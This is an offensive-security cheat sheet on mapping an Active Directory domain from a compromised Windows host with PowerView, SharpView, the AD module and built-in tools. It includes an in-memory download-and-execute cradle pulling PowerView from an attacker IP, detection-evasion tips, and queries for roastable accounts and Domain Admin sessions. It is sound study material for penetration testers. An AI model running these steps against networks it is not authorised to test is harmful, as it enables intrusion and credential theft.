AD Enumeration from Windows
Domain reconnaissance from a compromised Windows host. PowerView, AD module, SharpView, net.exe, WMI, nltest, systeminfo, and domain trust mapping.
Sections AD Enumeration from Windows
You have a shell on a domain-joined Windows host. Time to map the domain, find misconfigurations, and identify targets. This covers built-in tools, PowerView, the AD module, and SharpView for when PowerShell is restricted.
Situational Awareness
Before touching AD, understand your current context. Who are you, what machine are you on, and what privileges do you have.
# Current user and privileges
PS C:\> whoami
PS C:\> whoami /priv
PS C:\> whoami /groups
PS C:\> whoami /all
# System info
PS C:\> hostname
PS C:\> systeminfo
PS C:\> ipconfig /all
# Domain context
PS C:\> echo %USERDNSDOMAIN%
PS C:\> echo %LOGONSERVER%
PS C:\> [System.Environment]::UserDomainName
PS C:\> [System.Net.Dns]::GetHostByName($env:COMPUTERNAME)
# Check if machine is domain-joined
PS C:\> (Get-WmiObject Win32_ComputerSystem).PartOfDomain
PS C:\> dsregcmd /status
Domain Controller Discovery
PS C:\> nltest /dclist:corp.local
PS C:\> nltest /dsgetdc:corp.local
PS C:\> nltest /domain_trusts
PS C:\> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers
PS C:\> nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local
nltest does not require admin privileges. It gives you the DC list, site information, domain trusts, and domain GUID in a single binary.PowerView
PowerView is the most comprehensive PowerShell tool for AD enumeration. It uses .NET DirectorySearcher under the hood, so it works on any domain-joined host without RSAT.
Loading PowerView
# From disk
PS C:\> Import-Module .\PowerView.ps1
# In-memory (AMSI may block this)
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/PowerView.ps1')
# From a Base64-encoded string
PS C:\> $encoded = [IO.File]::ReadAllText('C:\Temp\pv_b64.txt') PS C:\> IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded)))
Domain and Forest Info
PS C:\> Get-Domain
PS C:\> Get-DomainController
PS C:\> Get-Forest
PS C:\> Get-ForestDomain
PS C:\> Get-DomainPolicy
PS C:\> (Get-DomainPolicy)."SystemAccess"
PS C:\> Get-DomainTrust
PS C:\> Get-ForestTrust
User Enumeration
# All users
PS C:\> Get-DomainUser | Select-Object samaccountname, description, memberof, admincount, lastlogon
# Specific user
PS C:\> Get-DomainUser -Identity svc_backup -Properties *
# Users with AdminCount=1
PS C:\> Get-DomainUser -AdminCount | Select-Object samaccountname, description
# Users with SPNs (Kerberoastable)
PS C:\> Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
# Users with no preauth (AS-REP roastable)
PS C:\> Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# Users with "pass" in description
PS C:\> Get-DomainUser -LDAPFilter "(description=*pass*)" | Select-Object samaccountname, description
# Enabled users with password never expires
PS C:\> Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE,DONT_EXPIRE_PASSWORD | Select-Object samaccountname
Group Enumeration
# All groups
PS C:\> Get-DomainGroup | Select-Object samaccountname, description
# Members of Domain Admins
PS C:\> Get-DomainGroupMember -Identity "Domain Admins" -Recurse | Select-Object MemberName, MemberObjectClass
# Members of all privileged groups
PS C:\> @("Domain Admins","Enterprise Admins","Administrators","Backup Operators","Server Operators","DnsAdmins","Account Operators") | ForEach-Object {
>> Write-Output "`n=== $_ ==="
>> Get-DomainGroupMember -Identity $_ -Recurse | Select-Object MemberName
>> }
# Groups a specific user belongs to
PS C:\> Get-DomainGroup -UserName svc_backup | Select-Object samaccountname
# Find groups with "admin" in the name
PS C:\> Get-DomainGroup -SearchString "admin" | Select-Object samaccountname
Computer Enumeration
# All computers
PS C:\> Get-DomainComputer | Select-Object name, dnshostname, operatingsystem
# Servers only
PS C:\> Get-DomainComputer -OperatingSystem "*Server*" | Select-Object name, operatingsystem
# Computers with unconstrained delegation
PS C:\> Get-DomainComputer -Unconstrained | Select-Object name, dnshostname
# Computers where current user has local admin (requires session data)
PS C:\> Find-LocalAdminAccess
# Computers with specific OS
PS C:\> Get-DomainComputer -OperatingSystem "Windows Server 2019*" | Select-Object name
Session and Logon Enumeration
# Find where Domain Admins are logged in
PS C:\> Find-DomainUserLocation -GroupName "Domain Admins"
# Sessions on a specific host
PS C:\> Get-NetSession -ComputerName dc01
# Logged-on users on a specific host
PS C:\> Get-NetLoggedon -ComputerName ws01
# Find machines where current user has local admin
PS C:\> Find-LocalAdminAccess -Verbose
Find-DomainUserLocation and Find-LocalAdminAccess query every machine in the domain. This is noisy and slow in large environments. Filter by OU or use -ComputerName with a targeted list.SharpView (C# Alternative)
When PowerShell is constrained or heavily logged, SharpView provides the same functionality as a compiled binary.
PS C:\> .\SharpView.exe Get-DomainUser -Identity svc_backup
PS C:\> .\SharpView.exe Get-DomainGroup -Identity "Domain Admins"
PS C:\> .\SharpView.exe Get-DomainGroupMember -Identity "Domain Admins" -Recurse
PS C:\> .\SharpView.exe Get-DomainComputer -Unconstrained
PS C:\> .\SharpView.exe Find-LocalAdminAccess
PS C:\> .\SharpView.exe Get-DomainTrust
AD Module (RSAT)
The official ActiveDirectory PowerShell module. Less likely to be flagged by AV/EDR compared to PowerView.
Import and Basic Queries
PS C:\> Import-Module ActiveDirectory
# Domain info
PS C:\> Get-ADDomain
PS C:\> Get-ADForest
PS C:\> Get-ADDomainController -Filter *
# All users
PS C:\> Get-ADUser -Filter * -Properties * | Select-Object SamAccountName, Description, Enabled, MemberOf, AdminCount, LastLogonDate, PasswordLastSet
# Specific user
PS C:\> Get-ADUser -Identity svc_backup -Properties *
# Domain Admins
PS C:\> Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select-Object Name, SamAccountName, objectClass
# Trusts
PS C:\> Get-ADTrust -Filter *
Using the AD Module Without RSAT
You can load the AD module DLL without installing RSAT by importing it from a DC or another machine.
# Copy the DLL from a DC
PS C:\> Copy-Item "\\dc01\C$\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\*\Microsoft.ActiveDirectory.Management.dll" C:\Temp\
# Import the DLL directly
PS C:\> Import-Module C:\Temp\Microsoft.ActiveDirectory.Management.dll
PS C:\> Get-ADDomain
Built-in Windows Tools
These work everywhere without importing anything. Useful when you cannot run PowerView or load modules.
net.exe
# Users and groups
PS C:\> net user /domain
PS C:\> net user svc_backup /domain
PS C:\> net group /domain
PS C:\> net group "Domain Admins" /domain
PS C:\> net group "Enterprise Admins" /domain
# Local info
PS C:\> net localgroup Administrators
PS C:\> net share
# Domain accounts
PS C:\> net accounts /domain
WMI Queries
# Local admins on the current machine
PS C:\> Get-WmiObject -Class Win32_GroupUser | Where-Object {$_.GroupComponent -like '*Administrators*'} | ForEach-Object { $_.PartComponent }
# Installed software
PS C:\> Get-WmiObject -Class Win32_Product | Select-Object Name, Version
# Running services
PS C:\> Get-WmiObject -Class Win32_Service | Where-Object {$_.State -eq 'Running'} | Select-Object Name, DisplayName, PathName, StartName
# Remote WMI query (requires admin on target)
PS C:\> Get-WmiObject -Class Win32_OperatingSystem -ComputerName ws01 | Select-Object Caption, Version
dsquery
# All users
PS C:\> dsquery user -limit 0
# Custom LDAP filter
PS C:\> dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr samAccountName description -limit 0
# All computers
PS C:\> dsquery computer -limit 0
# OUs
PS C:\> dsquery ou
# Find stale accounts
PS C:\> dsquery user -inactive 4
PS C:\> dsquery computer -inactive 4
Trust Enumeration
Domain trusts define how authentication works between domains and forests. Mapping trusts reveals lateral movement paths and potential escalation routes.
# PowerView
PS C:\> Get-DomainTrust
PS C:\> Get-DomainTrust -Domain child.corp.local
PS C:\> Get-ForestTrust
PS C:\> Get-DomainForeignGroupMember
PS C:\> Get-DomainForeignUser
# AD Module
PS C:\> Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, IntraForest
# nltest
PS C:\> nltest /domain_trusts /all_trusts /v
# .NET
PS C:\> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS C:\> ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Trust Direction Reference
| Direction | Meaning | Access Flow |
|---|---|---|
| Inbound | External domain trusts us | Their users can access our resources |
| Outbound | We trust the external domain | Our users can access their resources |
| Bidirectional | Mutual trust | Users from either domain can access the other |
Get-DomainForeignGroupMember to see if any users from the trusted domain are in local groups on your domain.GPO Enumeration
# PowerView - all GPOs
PS C:\> Get-DomainGPO | Select-Object DisplayName, Name, GPCFileSysPath
# GPOs applied to a specific computer
PS C:\> Get-DomainGPO -ComputerIdentity ws01 | Select-Object DisplayName
# GPOs applied to a specific user
PS C:\> Get-DomainGPO -UserIdentity svc_backup | Select-Object DisplayName
# Find GPOs that modify local group membership
PS C:\> Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName, GroupMembers
# Find users who can create/edit GPOs
PS C:\> Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=corp,DC=local" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "CreateChild|WriteProperty"} | Select-Object SecurityIdentifier, ActiveDirectoryRights
# Built-in gpresult
PS C:\> gpresult /r
PS C:\> gpresult /z
Organizational Unit (OU) Enumeration
OUs define the administrative structure. Understanding which OUs exist and what GPOs apply to them reveals how the domain is managed.
# PowerView
PS C:\> Get-DomainOU | Select-Object Name, DistinguishedName, gplink
# Computers in a specific OU
PS C:\> Get-DomainComputer -SearchBase "OU=Servers,DC=corp,DC=local" | Select-Object name
# Users in a specific OU
PS C:\> Get-DomainUser -SearchBase "OU=ServiceAccounts,DC=corp,DC=local" | Select-Object samaccountname, description
# AD Module
PS C:\> Get-ADOrganizationalUnit -Filter * -Properties gpLink | Select-Object Name, DistinguishedName, gpLink